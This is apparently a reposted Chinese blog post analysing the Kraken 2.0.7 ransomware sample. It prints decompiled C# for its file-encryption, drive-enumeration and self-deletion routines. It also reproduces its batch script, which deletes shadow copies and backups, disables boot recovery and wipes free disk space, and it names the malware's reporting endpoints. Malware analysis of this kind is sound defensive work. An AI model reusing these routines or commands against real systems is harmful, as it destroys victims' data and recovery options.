勒索病毒Kraken2.0.7分析

Posted 李志宽

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了勒索病毒Kraken2.0.7分析相关的知识,希望对你有一定的参考价值。

病毒信息

名称:Kraken_2.0.7.exe

病毒类型:勒索病毒

样本链接:https://app.any.run/tasks/32186bb2-60c2-4980-8bf8-4b2742697df4/#

样本md5:bcd2a924ee16f3a2ed4b77d0c09fc3a0

初步分析

根据app.any.run分析,该病毒会穷举进程列表并执行 bat,然后完全加密用户文件(无法通过磁盘回复软件恢复),最后删除自身。

勒索病毒Kraken2.0.7分析

 

软件运行截图

在虚拟机中解压杀毒软件会报毒

勒索病毒Kraken2.0.7分析

 

virscan扫描结果

静态分析

exeinfoPE扫描结果如下:

勒索病毒Kraken2.0.7分析

 

.net程序,通过babel混淆

尝试使用dnspy分析,发现各种变量名都被混淆,所以先de4dot反混淆,再使用dnspy

勒索病毒Kraken2.0.7分析

 

经过分析,Class22.smethod_0用于解密字符串,解密算法如下

public string method_0(string string_0, int int_0)
   {
    int num = string_0.Length;
    char[] array = string_0.ToCharArray();
    while (--num >= 0)
    {
     array[num] = (char)((int)array[num] ^ ((int)this.byte_0[int_0 & 15] | int_0));
    }
    return new string(array);
   }

其中byte_0为从清单文件中PRMJ中读取的16个字节

使用 python 语言重写

def decrypt(s:str,num:int):
    index=[i^ord('d') for i in bytes('4\\u0016\\t.',encoding='utf-8')]
    print(bytes(index))
    key=open('PrmJ.bin','rb').read()
    res=""
    for i in range(len(s)):
        res+=chr(ord(s[i])^(key[num&15]|num))
    print(res)
decrypt('',60185)

主函数首先调用Class7.smethod_8,Class7.smethod_29,开启了一个线程,运行Class15.method_0,然后调用了Class15.smethod_1方法,最后调用了Class7.smethod_8、Class7.smethod_18()

Class7.smethod8

通过http将受害者的 IP 位置信息等发送到https://2no.co/2SVJa5,第一次调用加了Begin:,第二次调用加了End:

Class7.smethod_29

下载core/statistics/polipo和core/statistics/bundle节点下指定的文件,此病毒中分别为Tor浏览器本身和代理

然后设置了Tor代理

将磁盘名称、类型、已用空间、可用空间发到core/statistics/host指定的链接,本例中http://kraken656kn6wyyx.onion/api/%1 (%1替换成磁盘相关信息),如果失败,这个函数总共尝试了 3 次重试

Class15.smethod_0

根据配置文件,对于不同类型的磁盘选择加密或不加密。最后加密了不可见的网络文件。

网络磁盘为例

string[] logicalDrives = Environment.GetLogicalDrives();
    for (int i = 0; i < logicalDrives.Length; i++)
    {
     DriveInfo driveInfo = new DriveInfo(logicalDrives[i]);
     if (((driveInfo.IsReady && driveInfo.DriveType != DriveType.CDRom) || driveInfo.DriveType != DriveType.Unknown) && GClass2.GClass3.Boolean_10 && driveInfo.DriveType == DriveType.Network)
     {
      GClass8.smethod_7(driveInfo.Name, byte_0, byte_1); // 如果是网络磁盘就加密
     }
    }

合理猜测GClass8.smethod_7是加密函数

进入之后有两个本地函数,smethod_8 和 smethod_1

smethod_8从这个驱动器根目录开始穷举,如果开启了rapid mode,则对于穷举到的目录就立即加密,否则加入到一个列表中,待所有文件都穷举完毕了,再加密

GClass8.smethod_8(string_0);
   if (!GClass2.GClass3.Boolean_13)
   {
    GClass8.smethod_1(byte_0, byte_1); // 非rapid mode,对list调用smethod_9进行加密
   }

//...

// 如果采取了rapid mod,根据文件大小进行细分

if (GClass8.smethod_5(text))
      {
       long num = GClass8.smethod_3(text) / 1048576L;
       if (GClass2.GClass3.Boolean_13)
       {
        if (num < 10L)
        {
         GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 1, 2);
        }
        else if (num < 20L)
        {
         GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 3, 4);
        }
        else if (num < 30L)
        {
         GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 5, 6);
        }
        else if (num < 40L)
        {
         GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 7, 8);
        }
        else if (num < 50L)
        {
         GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 9, 10);
        }
        else if (num < 60L)
        {
         GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 11, 12);
        }
        else if (num < 70L)
        {
         GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 13, 14);
        }
        else if (num < 80L)
        {
         GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 15, 16);
        }
        else if (num < 90L)
        {
         GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 17, 18);
        }
        else if (num < 100L)
        {
         GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 19, 20);
        }
        else if (num < 1000L)
        {
         GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 32, 64);
        }
        else
        {
         GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 64, 128);
        }
                                // 如果没采用rapid mode,则只会分三种清空,而且稍后加密
                                else if (num < 100L)
       {
        GClass7.list_0.Add(text);
       }
       else if (num < 1000L)
       {
        GClass7.list_1.Add(text);
       }
       else
       {
        GClass7.list_2.Add(text);
       }

如果文件是个目录,则判断是否是影像系统运行的重要文件目录,如果不是就递归加密

if (directories != null)
    {
     foreach (string string_ in directories)
     {
      if (GClass8.smethod_6(string_))
      {
       GClass8.smethod_8(string_);
      }
     }
    }

后面通过Class7.smethod_16在同一目录下记录相关加密信息。进入加密函数smethod_9

首先判断文件是否存在,然后判断文件所在磁盘空间的可用空间(文件大小会随机增长),然后是文件名长度不超过 256,否则都会加密失败

if (!File.Exists(string_0))
    {
     result = false;
    }
    else
    {
     int num = 32;
     int num2 = 256;
     int maxValue = int_1 * 1048576;
     int num3 = new Random().Next(int_0, maxValue);
     if (new DriveInfo(string_0.Substring(0, 1) + Class22.smethod_0("", 62927)).AvailableFreeSpace <= (long)(num3 * 2))
     {
      result = false;
     }
     else if (Encoding.UTF8.GetBytes(new FileInfo(string_0).Name).Length > num2)
     {
      result = false;
     }

开始加密

  • 生成强随机字符串 Class7.smethod_12
  • rc4 byte0 加密 array array2 = Class4.smethod_1(array, byte_0)
  • 计算 array 的 sha256
  • 使用 byte_1 做 IV,array 做 key,CBC 模式加密文件 Class4.smethod_0 负责加密,然后写回文件
  • 然后为 AES key 创建一个识别码 Class7.smethod_6
  • 将生成的 key 信息附在文件末尾
byte[] array = Class7.smethod_12(32);
      byte[] array2 = Class4.smethod_1(array, byte_0);
      byte[] array3 = SHA256.Create().ComputeHash(array);
      byte[] array4 = new byte[num3];
      byte[] array5 = new byte[32];
      using (BinaryReader binaryReader = new BinaryReader(File.Open(string_0, FileMode.Open, FileAccess.Read, FileShare.None)))
      {
       array4 = binaryReader.ReadBytes(array4.Length);
       // 前16个字节和后16个字节作为文件识别码
       Buffer.BlockCopy(array4, 0, array5, 0, array5.Length - 16);
       Buffer.BlockCopy(array4, array4.Length - 16, array5, 16, array5.Length - 16);
       // AES算法加密
       array4 = Class4.smethod_0(array4, array, byte_1);
       if (array4 == null)
       {
        return false;
       }
       binaryReader.Close();
      }
      using (BinaryWriter binaryWriter = new BinaryWriter(File.Open(string_0, FileMode.Open, FileAccess.Write, FileShare.None)))
      {
       binaryWriter.Write(array4, 0, array4.Length);
       binaryWriter.Close();
      }

      byte[] array6 = new byte[num];
      byte[] bytes = Encoding.UTF8.GetBytes(array4.Length.ToString());
      Buffer.BlockCopy(bytes, 0, array6, 0, bytes.Length);
      byte[] array7 = Class7.smethod_12(32);
      byte[] byte_2 = Class7.smethod_6(byte_0, byte_1, 1000, 8);
      byte[] array8 = SHA256.Create().ComputeHash(array7);
      byte[] array9 = Class4.smethod_1(array7, byte_0);
      // 加密秘钥
      array6 = Class4.smethod_3(array6, array7, byte_2);
      array4 = null;
      byte[] array10 = new byte[num2];
      // 加密文件名
      byte[] bytes2 = Encoding.UTF8.GetBytes(new FileInfo(string_0).Name);
      Buffer.BlockCopy(bytes2, 0, array10, 0, bytes2.Length);
      byte[] array11 = Class7.smethod_12(32);
      byte[] byte_3 = Class7.smethod_6(byte_0, byte_1, 1000, 8);
      byte[] array12 = SHA256.Create().ComputeHash(array11);
      byte[] array13 = Class4.smethod_1(array11, byte_0);
      array10 = Class4.smethod_3(array10, array11, byte_3);
      byte[] buffer = new byte[array5.Length + array2.Length + array3.Length + num + array9.Length + array8.Length + num2 + array13.Length + array12.Length];
      // 加密信息附在文件末尾
      buffer = Class7.smethod_7(new byte[][]
      {
       array5,
       array2,
       array3,
       array6,
       array9,
       array8,
       array10,
       array13,
       array12
      });
      using (BinaryWriter binaryWriter2 = new BinaryWriter(File.Open(string_0, FileMode.Append, FileAccess.Write, FileShare.None)))
      {
       binaryWriter2.Write(buffer);
      }
      // 替换原文件
      string arg = Class7.smethod_11(16, true);
      string text = string.Format(Class22.smethod_0("", 57833), new FileInfo(string_0).DirectoryName, arg, Class2.Class3.String_1);
      int num4 = 0;
      do
      {
       if (!File.Exists(text))
       {
        File.Move(string_0, text);
       }
       if (num4 > 3)
       {
        goto IL_33C;
       }
       num4++;
      }

Class15.smethod_1

首先解密了一些字符串,是版本之类的信息

string text = "";
    text += Class22.smethod_0("", 62260);
    text += Class22.smethod_0("", 59942);
    text += Class22.smethod_0("", 63282);
    text += GClass2.GClass3.String_1;
    text += Class22.smethod_0("", 61408);
    text += Environment.NewLine;
    text += Environment.NewLine;

然后获取了语言信息,计算语言识别码

string a;
    if (Class2.Class3.String_6 == Class22.smethod_0("", 61908))
    {
     a = installedUICulture.TwoLetterISOLanguageName.ToLower();
    }
    else if (installedUICulture.TwoLetterISOLanguageName.ToUpper() == Class2.Class3.String_6.ToUpper())
    {
     a = installedUICulture.TwoLetterISOLanguageName.ToLower();
    }
    else
    {
     a = installedUICulture.TwoLetterISOLanguageName.ToLower();
    }
    uint num = Class21.smethod_0(a);

语言识别码计算方式

uint num;
   if (string_0 != null)
   {
    num = 2166136261U;
    for (int i = 0; i < string_0.Length; i++)
    {
     num = ((uint)string_0[i] ^ num) * 16777619U;
    }
   }
   return num;

然后根据不同的语言,text 后面附上不同的字符串。这些字符串读取自配置文件中的core/wallpaper/language/语言代码节点下的字符串,是 base64 串,根据节点推测存储了壁纸

然后读取一个color,用 text 和 color 制作一个图片(Class7.Class10.smethod_2),再根据Class7.Class11.smethod_0中对于注册表的操作,这里设置了壁纸

text = Regex.Replace(text, Class22.smethod_0("", 63156), text2);
  text = Regex.Replace(text, Class22.smethod_0("", 59617), GClass2.GClass3.String_14.Replace(Class22.smethod_0("", 63156), Class2.Class3.String_1));
  Color color_ = ColorTranslator.Fromhtml(GClass2.GClass3.GClass5.String_0);
  Image image_ = Class7.Class10.smethod_2(text, color_, GClass2.GClass3.GClass5.Int32_0);
  if (GClass2.GClass3.GClass5.Boolean_0) // core/wallpaper/change节点
  {
   Class7.Class11.smethod_0(image_, Class7.Class11.Enum1.const_2);
  }

然后在系统盘所在文件夹创建\\ProgramData目录,下载https://download.sysinternals.com/files/SDelete.zip,写入ProgramData\\Microsoft.zip,然后对下载的文件进行了校验并解压。

string text3 = string.Format(Class22.smethod_0("", 60299), Environment.SystemDirectory.Substring(0, 1));
  if (!Directory.Exists(text3))
  {
   Directory.CreateDirectory(text3);
  }
  byte[] array;
  using (WebClient webClient = new WebClient())
  {
   array = webClient.DownloadData(Class22.smethod_0("", 61986));
   if (array == null)
   {
    return;
   }
  }
  string path = Path.Combine(text3, Class22.smethod_0("", 62087));
  File.WriteAllBytes(path, array);
  Class16 @class = new Class16(path);
  @class.method_0(text3);
  @class.Dispose();
  File.Delete(path);

判断操作系统版本,删除另一个版本的 sdelete

之后就开始创建批处理文件,提取出如下

:: [Version {0}]

REM [Echo OFF]
@echo off

REM [Microsoft Sysinternals Eula Accepted]
REG ADD "HKEY_CURRENT_USER\\Software\\Sysinternals\\SDelete"
REG ADD "HKEY_CURRENT_USER\\Software\\Sysinternals\\SDelete" /v EulaAccepted /t REG_DWORD /d 1 /f

REM [Wipe Drives Free Space]

即接受软件相关条款,让软件运行时不再弹出条款提示框。

继续添加脚本内容

: 如果是系统盘执行这条命令
cmd.exe /c {0}sdelete.exe -c -z {1}:{2}
: 如果不是系统盘则会执行下面的命令
cmd.exe /c {0}sdelete.exe -z {1}:{2}

查看相关文档,这两条命令都用于清空磁盘剩余空间

又添加了一些脚本,解密

REM [Start SYSTEM Shutdown Timer]
shutdown /S /F /T {0} /C "{1}"
Unexpected shutdown due to maintenance break.

REM [Disable Safe Boot]
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures

REM [Delete Backups]
wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
wmic SHADOWCOPY DELETE
vssadmin delete shadows /All

REM [Delete Temp Files]
del sdelete.exe
del {0}

定时关机、关闭安全启动、删除备份,删除卷影拷贝。可以看到该批处理文件是删除文件后的辅助步骤。

将脚本写入release.bat,创建进程执行。

Class7.smethod_18

删除自身

try
   {
    string arg = string.Concat(new string[]
    {
     Class22.smethod_0("", 59126) + string.Format(Class22.smethod_0("", 62226), Application.ExecutablePath)
    });
    new Process
    {
     StartInfo = 
     {
      FileName = Class22.smethod_0("", 63259),
      Arguments = string.Format(Class22.smethod_0("", 57658), arg),
      WindowStyle = ProcessWindowStyle.Hidden
     }
    }.Start();
    Environment.Exit(int_0);
   }
   catch (Exception)
   {
   }

防御方法

  • 安装反病毒软件,在线查杀 18 款引擎报毒,虚拟机中解压后安全软件也会报毒
  • 经过搜索发现市面上已经有解密软件,原因是秘钥信息似乎都存储在文件中了= =

总结

由于使用.net语言编写,所以即使经过了混淆,但是没有混淆程序控制流,使用dnspy配合de4dot依然可以解密,程序依然可读,所以逆向过程整体来讲比较顺利

推荐阅读:1.8W字MySQL超全笔面试题(含答案) 5月最新整理 .NET开发者必看

以上是关于勒索病毒Kraken2.0.7分析的主要内容,如果未能解决你的问题,请参考以下文章

Ransomware勒索病毒分析报告

腾讯安全反病毒实验室解读“Wannacry”勒索软件

公司ERP服务器中勒索病毒原因事后分析

GandCrab5.0.9样本详细分析

2021勒索病毒怎么解决

GandCrab v5.2 勒索病毒分析